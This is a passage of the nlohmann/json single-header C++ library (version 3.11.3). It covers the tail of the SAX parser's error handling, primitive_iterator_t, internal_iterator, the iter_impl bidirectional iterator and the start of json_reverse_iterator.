\"value\"), nullptr));\n                    }\n                    case token_type::end_of_input:\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(m_lexer.get_position().chars_read_total == 1))\n                        {\n                            return sax->parse_error(m_lexer.get_position(),\n                                m_lexer.get_token_string(),\n                                parse_error::create(101, m_lexer.get_position(),\n                                    \"attempting to parse an empty input; check that your input string or stream contains the expected JSON\", nullptr));\n                        }\n\n                        return sax->parse_error(m_lexer.get_position(),\n                            m_lexer.get_token_string(),\n                            parse_error::create(101, m_lexer.get_position(), exception_message(token_type::literal_or_value, \"value\"), nullptr));\n                    }\n                    case token_type::uninitialized:\n                    case token_type::end_array:\n                    case token_type::end_object:\n                    case token_type::name_separator:\n                    case token_type::value_separator:\n                    case token_type::literal_or_value:\n                    default: // the last token was unexpected\n                    {\n                        return sax->parse_error(m_lexer.get_position(),\n                            m_lexer.get_token_string(),\n                            parse_error::create(101, m_lexer.get_position(), exception_message(token_type::literal_or_value, \"value\"), nullptr));\n                    }\n                    }\n                }\n                else\n                {\n                    skip_to_state_evaluation = false;\n                }\n\n                // we reached this line after we successfully parsed a value\n                if (states.empty())\n                {\n                    // empty stack: we reached the end of the hierarchy: done\n                    return true;\n                }\n\n                if (states.back())  // array\n                {\n                    // comma -> next value\n                    if (get_token() == token_type::value_separator)\n                    {\n                        // parse a new value\n                        get_token();\n                        continue;\n                    }\n\n                    // closing ]\n                    if (JSON_HEDLEY_LIKELY(last_token == token_type::end_array))\n                    {\n                        if (JSON_HEDLEY_UNLIKELY(!sax->end_array()))\n                        {\n                            return false;\n                        }\n\n                        // We are done with this array. Before we can parse a\n                        // new value, we need to evaluate the new state first.\n                        // By setting skip_to_state_evaluation to false, we\n                        // are effectively jumping to the beginning of this if.\n                        JSON_ASSERT(!states.empty());\n                        states.pop_back();\n                        skip_to_state_evaluation = true;\n                        continue;\n                    }\n\n                    return sax->parse_error(m_lexer.get_position(),\n                        m_lexer.get_token_string(),\n                        parse_error::create(101, m_lexer.get_position(), exception_message(token_type::end_array, \"array\"), nullptr));\n                }\n\n                // states.back() is false -> object\n\n                // comma -> next value\n                if (get_token() == token_type::value_separator)\n                {\n                    // parse key\n                    if (JSON_HEDLEY_UNLIKELY(get_token() != token_type::value_string))\n                    {\n                        return sax->parse_error(m_lexer.get_position(),\n                            m_lexer.get_token_string(),\n                            parse_error::create(101, m_lexer.get_position(), exception_message(token_type::value_string, \"object key\"), nullptr));\n                    }\n\n                    if (JSON_HEDLEY_UNLIKELY(!sax->key(m_lexer.get_string())))\n                    {\n                        return false;\n                    }\n\n                    // parse separator (:)\n                    if (JSON_HEDLEY_UNLIKELY(get_token() != token_type::name_separator))\n                    {\n                        return sax->parse_error(m_lexer.get_position(),\n                            m_lexer.get_token_string(),\n                            parse_error::create(101, m_lexer.get_position(), exception_message(token_type::name_separator, \"object separator\"), nullptr));\n                    }\n\n                    // parse values\n                    get_token();\n                    continue;\n                }\n\n                // closing }\n                if (JSON_HEDLEY_LIKELY(last_token == token_type::end_object))\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!sax->end_object()))\n                    {\n                        return false;\n                    }\n\n                    // We are done with this object. Before we can parse a\n                    // new value, we need to evaluate the new state first.\n                    // By setting skip_to_state_evaluation to false, we\n                    // are effectively jumping to the beginning of this if.\n                    JSON_ASSERT(!states.empty());\n                    states.pop_back();\n                    skip_to_state_evaluation = true;\n                    continue;\n                }\n\n                return sax->parse_error(m_lexer.get_position(),\n                    m_lexer.get_token_string(),\n                    parse_error::create(101, m_lexer.get_position(), exception_message(token_type::end_object, \"object\"), nullptr));\n            }\n        }\n\n        /// get next token from lexer\n        token_type get_token()\n        {\n            return last_token = m_lexer.scan();\n        }\n\n        std::string exception_message(const token_type expected, const std::string& context)\n        {\n            std::string error_msg = \"syntax error \";\n\n            if (!context.empty())\n            {\n                error_msg += concat(\"while parsing \", context, ' ');\n            }\n\n            error_msg += \"- \";\n\n            if (last_token == token_type::parse_error)\n            {\n                error_msg += concat(m_lexer.get_error_message(), \"; last read: '\",\n                    m_lexer.get_token_string(), '\\'');\n            }\n            else\n            {\n                error_msg += concat(\"unexpected \", lexer_t::token_type_name(last_token));\n            }\n\n            if (expected != token_type::uninitialized)\n            {\n                error_msg += concat(\"; expected \", lexer_t::token_type_name(expected));\n            }\n\n            return error_msg;\n        }\n\n    private:\n        /// callback function\n        const parser_callback_t<BasicJsonType> callback = nullptr;\n        /// the type of the last read token\n        token_type last_token = token_type::uninitialized;\n        /// the lexer\n        lexer_t m_lexer;\n        /// whether to throw exceptions in case of errors\n        const bool allow_exceptions = true;\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/iterators/internal_iterator.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n// #include <nlohmann/detail/iterators/primitive_iterator.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cstddef> // ptrdiff_t\n#include <limits>  // numeric_limits\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    /*\n    @brief an iterator for primitive JSON types\n\n    This class models an iterator for primitive JSON types (boolean, number,\n    string). It's only purpose is to allow the iterator/const_iterator classes\n    to \"iterate\" over primitive values. Internally, the iterator is modeled by\n    a `difference_type` variable. Value begin_value (`0`) models the begin,\n    end_value (`1`) models past the end.\n    */\n    class primitive_iterator_t\n    {\n    private:\n        using difference_type = std::ptrdiff_t;\n        static constexpr difference_type begin_value = 0;\n        static constexpr difference_type end_value = begin_value + 1;\n\n    JSON_PRIVATE_UNLESS_TESTED:\n        /// iterator as signed integer type\n        difference_type m_it = (std::numeric_limits<std::ptrdiff_t>::min)();\n\n    public:\n        constexpr difference_type get_value() const noexcept\n        {\n            return m_it;\n        }\n\n        /// set iterator to a defined beginning\n        void set_begin() noexcept\n        {\n            m_it = begin_value;\n        }\n\n        /// set iterator to a defined past the end\n        void set_end() noexcept\n        {\n            m_it = end_value;\n        }\n\n        /// return whether the iterator can be dereferenced\n        constexpr bool is_begin() const noexcept\n        {\n            return m_it == begin_value;\n        }\n\n        /// return whether the iterator is at end\n        constexpr bool is_end() const noexcept\n        {\n            return m_it == end_value;\n        }\n\n        friend constexpr bool operator==(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept\n        {\n            return lhs.m_it == rhs.m_it;\n        }\n\n        friend constexpr bool operator<(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept\n        {\n            return lhs.m_it < rhs.m_it;\n        }\n\n        primitive_iterator_t operator+(difference_type n) noexcept\n        {\n            auto result = *this;\n            result += n;\n            return result;\n        }\n\n        friend constexpr difference_type operator-(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept\n        {\n            return lhs.m_it - rhs.m_it;\n        }\n\n        primitive_iterator_t& operator++() noexcept\n        {\n            ++m_it;\n            return *this;\n        }\n\n        primitive_iterator_t operator++(int)&noexcept // NOLINT(cert-dcl21-cpp)\n        {\n            auto result = *this;\n            ++m_it;\n            return result;\n        }\n\n        primitive_iterator_t& operator--() noexcept\n        {\n            --m_it;\n            return *this;\n        }\n\n        primitive_iterator_t operator--(int)&noexcept // NOLINT(cert-dcl21-cpp)\n        {\n            auto result = *this;\n            --m_it;\n            return result;\n        }\n\n        primitive_iterator_t& operator+=(difference_type n) noexcept\n        {\n            m_it += n;\n            return *this;\n        }\n\n        primitive_iterator_t& operator-=(difference_type n) noexcept\n        {\n            m_it -= n;\n            return *this;\n        }\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    /*!\n    @brief an iterator value\n\n    @note This structure could easily be a union, but MSVC currently does not allow\n    unions members with complex constructors, see https://github.com/nlohmann/json/pull/105.\n    */\n    template<typename BasicJsonType> struct internal_iterator\n    {\n        /// iterator for JSON objects\n        typename BasicJsonType::object_t::iterator object_iterator{};\n        /// iterator for JSON arrays\n        typename BasicJsonType::array_t::iterator array_iterator{};\n        /// generic iterator for all other types\n        primitive_iterator_t primitive_iterator{};\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/iterators/iter_impl.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <iterator> // iterator, random_access_iterator_tag, bidirectional_iterator_tag, advance, next\n#include <type_traits> // conditional, is_const, remove_const\n\n// #include <nlohmann/detail/exceptions.hpp>\n\n// #include <nlohmann/detail/iterators/internal_iterator.hpp>\n\n// #include <nlohmann/detail/iterators/primitive_iterator.hpp>\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/cpp_future.hpp>\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n// #include <nlohmann/detail/value_t.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    // forward declare, to be able to friend it later on\n    template<typename IteratorType> class iteration_proxy;\n    template<typename IteratorType> class iteration_proxy_value;\n\n    /*!\n    @brief a template for a bidirectional iterator for the @ref basic_json class\n    This class implements a both iterators (iterator and const_iterator) for the\n    @ref basic_json class.\n    @note An iterator is called *initialized* when a pointer to a JSON value has\n          been set (e.g., by a constructor or a copy assignment). If the iterator is\n          default-constructed, it is *uninitialized* and most methods are undefined.\n          **The library uses assertions to detect calls on uninitialized iterators.**\n    @requirement The class satisfies the following concept requirements:\n    -\n    [BidirectionalIterator](https://en.cppreference.com/w/cpp/named_req/BidirectionalIterator):\n      The iterator that can be moved can be moved in both directions (i.e.\n      incremented and decremented).\n    @since version 1.0.0, simplified in version 2.0.9, change to bidirectional\n           iterators in version 3.0.0 (see https://github.com/nlohmann/json/issues/593)\n    */\n    template<typename BasicJsonType>\n    class iter_impl // NOLINT(cppcoreguidelines-special-member-functions,hicpp-special-member-functions)\n    {\n        /// the iterator with BasicJsonType of different const-ness\n        using other_iter_impl = iter_impl<typename std::conditional<std::is_const<BasicJsonType>::value, typename std::remove_const<BasicJsonType>::type, const BasicJsonType>::type>;\n        /// allow basic_json to access private members\n        friend other_iter_impl;\n        friend BasicJsonType;\n        friend iteration_proxy<iter_impl>;\n        friend iteration_proxy_value<iter_impl>;\n\n        using object_t = typename BasicJsonType::object_t;\n        using array_t = typename BasicJsonType::array_t;\n        // make sure BasicJsonType is basic_json or const basic_json\n        static_assert(is_basic_json<typename std::remove_const<BasicJsonType>::type>::value,\n            \"iter_impl only accepts (const) basic_json\");\n        // superficial check for the LegacyBidirectionalIterator named requirement\n        static_assert(std::is_base_of<std::bidirectional_iterator_tag, std::bidirectional_iterator_tag>::value\n            && std::is_base_of<std::bidirectional_iterator_tag, typename std::iterator_traits<typename array_t::iterator>::iterator_category>::value,\n            \"basic_json iterator assumes array and object type iterators satisfy the LegacyBidirectionalIterator named requirement.\");\n\n    public:\n        /// The std::iterator class template (used as a base class to provide typedefs) is deprecated in C++17.\n        /// The C++ Standard has never required user-defined iterators to derive from std::iterator.\n        /// A user-defined iterator should provide publicly accessible typedefs named\n        /// iterator_category, value_type, difference_type, pointer, and reference.\n        /// Note that value_type is required to be non-const, even for constant iterators.\n        using iterator_category = std::bidirectional_iterator_tag;\n\n        /// the type of the values when the iterator is dereferenced\n        using value_type = typename BasicJsonType::value_type;\n        /// a type to represent differences between iterators\n        using difference_type = typename BasicJsonType::difference_type;\n        /// defines a pointer to the type iterated over (value_type)\n        using pointer = typename std::conditional<std::is_const<BasicJsonType>::value,\n            typename BasicJsonType::const_pointer,\n            typename BasicJsonType::pointer>::type;\n        /// defines a reference to the type iterated over (value_type)\n        using reference =\n            typename std::conditional<std::is_const<BasicJsonType>::value,\n            typename BasicJsonType::const_reference,\n            typename BasicJsonType::reference>::type;\n\n        iter_impl() = default;\n        ~iter_impl() = default;\n        iter_impl(iter_impl&&) noexcept = default;\n        iter_impl& operator=(iter_impl&&) noexcept = default;\n\n        /*!\n        @brief constructor for a given JSON instance\n        @param[in] object  pointer to a JSON object for this iterator\n        @pre object != nullptr\n        @post The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        explicit iter_impl(pointer object) noexcept : m_object(object)\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n            {\n                m_it.object_iterator = typename object_t::iterator();\n                break;\n            }\n\n            case value_t::array:\n            {\n                m_it.array_iterator = typename array_t::iterator();\n                break;\n            }\n\n            case value_t::null:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n            {\n                m_it.primitive_iterator = primitive_iterator_t();\n                break;\n            }\n            }\n        }\n\n        /*!\n        @note The conventional copy constructor and copy assignment are implicitly\n              defined. Combined with the following converting constructor and\n              assignment, they support: (1) copy from iterator to iterator, (2)\n              copy from const iterator to const iterator, and (3) conversion from\n              iterator to const iterator. However conversion from const iterator\n              to iterator is not defined.\n        */\n\n        /*!\n        @brief const copy constructor\n        @param[in] other const iterator to copy from\n        @note This copy constructor had to be defined explicitly to circumvent a bug\n              occurring on msvc v19.0 compiler (VS 2015) debug build. For more\n              information refer to: https://github.com/nlohmann/json/issues/1608\n        */\n        iter_impl(const iter_impl<const BasicJsonType>& other) noexcept\n            : m_object(other.m_object), m_it(other.m_it)\n        {\n        }\n\n        /*!\n        @brief converting assignment\n        @param[in] other const iterator to copy from\n        @return const/non-const iterator\n        @note It is not checked whether @a other is initialized.\n        */\n        iter_impl& operator=(const iter_impl<const BasicJsonType>& other) noexcept\n        {\n            if (&other != this)\n            {\n                m_object = other.m_object;\n                m_it = other.m_it;\n            }\n            return *this;\n        }\n\n        /*!\n        @brief converting constructor\n        @param[in] other  non-const iterator to copy from\n        @note It is not checked whether @a other is initialized.\n        */\n        iter_impl(const iter_impl<typename std::remove_const<BasicJsonType>::type>& other) noexcept\n            : m_object(other.m_object), m_it(other.m_it)\n        {\n        }\n\n        /*!\n        @brief converting assignment\n        @param[in] other  non-const iterator to copy from\n        @return const/non-const iterator\n        @note It is not checked whether @a other is initialized.\n        */\n        iter_impl& operator=(const iter_impl<typename std::remove_const<BasicJsonType>::type>& other) noexcept // NOLINT(cert-oop54-cpp)\n        {\n            m_object = other.m_object;\n            m_it = other.m_it;\n            return *this;\n        }\n\n    JSON_PRIVATE_UNLESS_TESTED:\n        /*!\n        @brief set the iterator to the first value\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        void set_begin() noexcept\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n            {\n                m_it.object_iterator = m_object->m_data.m_value.object->begin();\n                break;\n            }\n\n            case value_t::array:\n            {\n                m_it.array_iterator = m_object->m_data.m_value.array->begin();\n                break;\n            }\n\n            case value_t::null:\n            {\n                // set to end so begin()==end() is true: null is empty\n                m_it.primitive_iterator.set_end();\n                break;\n            }\n\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n            {\n                m_it.primitive_iterator.set_begin();\n                break;\n            }\n            }\n        }\n\n        /*!\n        @brief set the iterator past the last value\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        void set_end() noexcept\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n            {\n                m_it.object_iterator = m_object->m_data.m_value.object->end();\n                break;\n            }\n\n            case value_t::array:\n            {\n                m_it.array_iterator = m_object->m_data.m_value.array->end();\n                break;\n            }\n\n            case value_t::null:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n            {\n                m_it.primitive_iterator.set_end();\n                break;\n            }\n            }\n        }\n\n    public:\n        /*!\n        @brief return a reference to the value pointed to by the iterator\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        reference operator*() const\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n            {\n                JSON_ASSERT(m_it.object_iterator != m_object->m_data.m_value.object->end());\n                return m_it.object_iterator->second;\n            }\n\n            case value_t::array:\n            {\n                JSON_ASSERT(m_it.array_iterator != m_object->m_data.m_value.array->end());\n                return *m_it.array_iterator;\n            }\n\n            case value_t::null:\n                JSON_THROW(invalid_iterator::create(214, \"cannot get value\", m_object));\n\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n            {\n                if (JSON_HEDLEY_LIKELY(m_it.primitive_iterator.is_begin()))\n                {\n                    return *m_object;\n                }\n\n                JSON_THROW(invalid_iterator::create(214, \"cannot get value\", m_object));\n            }\n            }\n        }\n\n        /*!\n        @brief dereference the iterator\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        pointer operator->() const\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n            {\n                JSON_ASSERT(m_it.object_iterator != m_object->m_data.m_value.object->end());\n                return &(m_it.object_iterator->second);\n            }\n\n            case value_t::array:\n            {\n                JSON_ASSERT(m_it.array_iterator != m_object->m_data.m_value.array->end());\n                return &*m_it.array_iterator;\n            }\n\n            case value_t::null:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n            {\n                if (JSON_HEDLEY_LIKELY(m_it.primitive_iterator.is_begin()))\n                {\n                    return m_object;\n                }\n\n                JSON_THROW(invalid_iterator::create(214, \"cannot get value\", m_object));\n            }\n            }\n        }\n\n        /*!\n        @brief post-increment (it++)\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        iter_impl operator++(int)& // NOLINT(cert-dcl21-cpp)\n        {\n            auto result = *this;\n            ++(*this);\n            return result;\n        }\n\n        /*!\n        @brief pre-increment (++it)\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        iter_impl& operator++()\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n            {\n                std::advance(m_it.object_iterator, 1);\n                break;\n            }\n\n            case value_t::array:\n            {\n                std::advance(m_it.array_iterator, 1);\n                break;\n            }\n\n            case value_t::null:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n            {\n                ++m_it.primitive_iterator;\n                break;\n            }\n            }\n\n            return *this;\n        }\n\n        /*!\n        @brief post-decrement (it--)\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        iter_impl operator--(int)& // NOLINT(cert-dcl21-cpp)\n        {\n            auto result = *this;\n            --(*this);\n            return result;\n        }\n\n        /*!\n        @brief pre-decrement (--it)\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        iter_impl& operator--()\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n            {\n                std::advance(m_it.object_iterator, -1);\n                break;\n            }\n\n            case value_t::array:\n            {\n                std::advance(m_it.array_iterator, -1);\n                break;\n            }\n\n            case value_t::null:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n            {\n                --m_it.primitive_iterator;\n                break;\n            }\n            }\n\n            return *this;\n        }\n\n        /*!\n        @brief comparison: equal\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        template < typename IterImpl, detail::enable_if_t < (std::is_same<IterImpl, iter_impl>::value || std::is_same<IterImpl, other_iter_impl>::value), std::nullptr_t > = nullptr >\n        bool operator==(const IterImpl& other) const\n        {\n            // if objects are not the same, the comparison is undefined\n            if (JSON_HEDLEY_UNLIKELY(m_object != other.m_object))\n            {\n                JSON_THROW(invalid_iterator::create(212, \"cannot compare iterators of different containers\", m_object));\n            }\n\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n                return (m_it.object_iterator == other.m_it.object_iterator);\n\n            case value_t::array:\n                return (m_it.array_iterator == other.m_it.array_iterator);\n\n            case value_t::null:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n                return (m_it.primitive_iterator == other.m_it.primitive_iterator);\n            }\n        }\n\n        /*!\n        @brief comparison: not equal\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        template < typename IterImpl, detail::enable_if_t < (std::is_same<IterImpl, iter_impl>::value || std::is_same<IterImpl, other_iter_impl>::value), std::nullptr_t > = nullptr >\n        bool operator!=(const IterImpl& other) const\n        {\n            return !operator==(other);\n        }\n\n        /*!\n        @brief comparison: smaller\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        bool operator<(const iter_impl& other) const\n        {\n            // if objects are not the same, the comparison is undefined\n            if (JSON_HEDLEY_UNLIKELY(m_object != other.m_object))\n            {\n                JSON_THROW(invalid_iterator::create(212, \"cannot compare iterators of different containers\", m_object));\n            }\n\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n                JSON_THROW(invalid_iterator::create(213, \"cannot compare order of object iterators\", m_object));\n\n            case value_t::array:\n                return (m_it.array_iterator < other.m_it.array_iterator);\n\n            case value_t::null:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n                return (m_it.primitive_iterator < other.m_it.primitive_iterator);\n            }\n        }\n\n        /*!\n        @brief comparison: less than or equal\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        bool operator<=(const iter_impl& other) const\n        {\n            return !other.operator < (*this);\n        }\n\n        /*!\n        @brief comparison: greater than\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        bool operator>(const iter_impl& other) const\n        {\n            return !operator<=(other);\n        }\n\n        /*!\n        @brief comparison: greater than or equal\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        bool operator>=(const iter_impl& other) const\n        {\n            return !operator<(other);\n        }\n\n        /*!\n        @brief add to iterator\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        iter_impl& operator+=(difference_type i)\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n                JSON_THROW(invalid_iterator::create(209, \"cannot use offsets with object iterators\", m_object));\n\n            case value_t::array:\n            {\n                std::advance(m_it.array_iterator, i);\n                break;\n            }\n\n            case value_t::null:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n            {\n                m_it.primitive_iterator += i;\n                break;\n            }\n            }\n\n            return *this;\n        }\n\n        /*!\n        @brief subtract from iterator\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        iter_impl& operator-=(difference_type i)\n        {\n            return operator+=(-i);\n        }\n\n        /*!\n        @brief add to iterator\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        iter_impl operator+(difference_type i) const\n        {\n            auto result = *this;\n            result += i;\n            return result;\n        }\n\n        /*!\n        @brief addition of distance and iterator\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        friend iter_impl operator+(difference_type i, const iter_impl& it)\n        {\n            auto result = it;\n            result += i;\n            return result;\n        }\n\n        /*!\n        @brief subtract from iterator\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        iter_impl operator-(difference_type i) const\n        {\n            auto result = *this;\n            result -= i;\n            return result;\n        }\n\n        /*!\n        @brief return difference\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        difference_type operator-(const iter_impl& other) const\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n                JSON_THROW(invalid_iterator::create(209, \"cannot use offsets with object iterators\", m_object));\n\n            case value_t::array:\n                return m_it.array_iterator - other.m_it.array_iterator;\n\n            case value_t::null:\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n                return m_it.primitive_iterator - other.m_it.primitive_iterator;\n            }\n        }\n\n        /*!\n        @brief access to successor\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        reference operator[](difference_type n) const\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            switch (m_object->m_data.m_type)\n            {\n            case value_t::object:\n                JSON_THROW(invalid_iterator::create(208, \"cannot use operator[] for object iterators\", m_object));\n\n            case value_t::array:\n                return *std::next(m_it.array_iterator, n);\n\n            case value_t::null:\n                JSON_THROW(invalid_iterator::create(214, \"cannot get value\", m_object));\n\n            case value_t::string:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::binary:\n            case value_t::discarded:\n            default:\n            {\n                if (JSON_HEDLEY_LIKELY(m_it.primitive_iterator.get_value() == -n))\n                {\n                    return *m_object;\n                }\n\n                JSON_THROW(invalid_iterator::create(214, \"cannot get value\", m_object));\n            }\n            }\n        }\n\n        /*!\n        @brief return the key of an object iterator\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        const typename object_t::key_type& key() const\n        {\n            JSON_ASSERT(m_object != nullptr);\n\n            if (JSON_HEDLEY_LIKELY(m_object->is_object()))\n            {\n                return m_it.object_iterator->first;\n            }\n\n            JSON_THROW(invalid_iterator::create(207, \"cannot use key() for non-object iterators\", m_object));\n        }\n\n        /*!\n        @brief return the value of an iterator\n        @pre The iterator is initialized; i.e. `m_object != nullptr`.\n        */\n        reference value() const\n        {\n            return operator*();\n        }\n\n    JSON_PRIVATE_UNLESS_TESTED:\n        /// associated JSON instance\n        pointer m_object = nullptr;\n        /// the actual iterator of the associated instance\n        internal_iterator<typename std::remove_const<BasicJsonType>::type> m_it{};\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/iterators/iteration_proxy.hpp>\n\n// #include <nlohmann/detail/iterators/json_reverse_iterator.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cstddef> // ptrdiff_t\n#include <iterator> // reverse_iterator\n#include <utility> // declval\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    //////////////////////\n    // reverse_iterator //\n    //////////////////////\n\n    /*!\n    @brief a template for a reverse iterator class\n\n    @tparam Base the base iterator type to reverse. Valid types are @ref\n    iterator (to create @ref reverse_iterator) and @ref const_iterator (to\n    create @ref const_reverse_iterator).\n\n    @requirement The class satisfies the following concept requirements:\n    -\n    [BidirectionalIterator](https://en.cppreference.com/w/cpp/named_req/BidirectionalIterator):\n      The iterator that can be moved can be moved in both directions (i.e.\n      incremented and decremented).\n    - [OutputIterator](https://en.cppreference.com/w/cpp/named_req/OutputIterator):\n      It is possible to write to the pointed-to element (only if @a Base is\n      @ref iterator).\n\n    @since version 1.0.0\n    */\n    template<typename Base>\n    class json_reverse_iterator : public std::reverse_iterator<Base>\n    {\n    public:\n        using difference_type = std::ptrdiff_t;\n        /// shortcut to the reverse iterator adapter\n        using base_iterator = std::reverse_iterator<Base>;\n        /// the reference type for the pointed-to element\n        using reference = typename Base::reference;\n\n        /// create reverse iterator from iterator\n        explicit json_reverse_iterator(const typename base_iterator::iterator_type& it) noexcept\n            : base_iterator(it) {\n        }\n\n        /// create reverse iterator from base class\n        explicit json_reverse_iterator(const base_iterator& it) noexcept : base_iterator(it) {}\n\n        /// post-increment (it++)\n        json_reverse_iterator operator++(int)& // 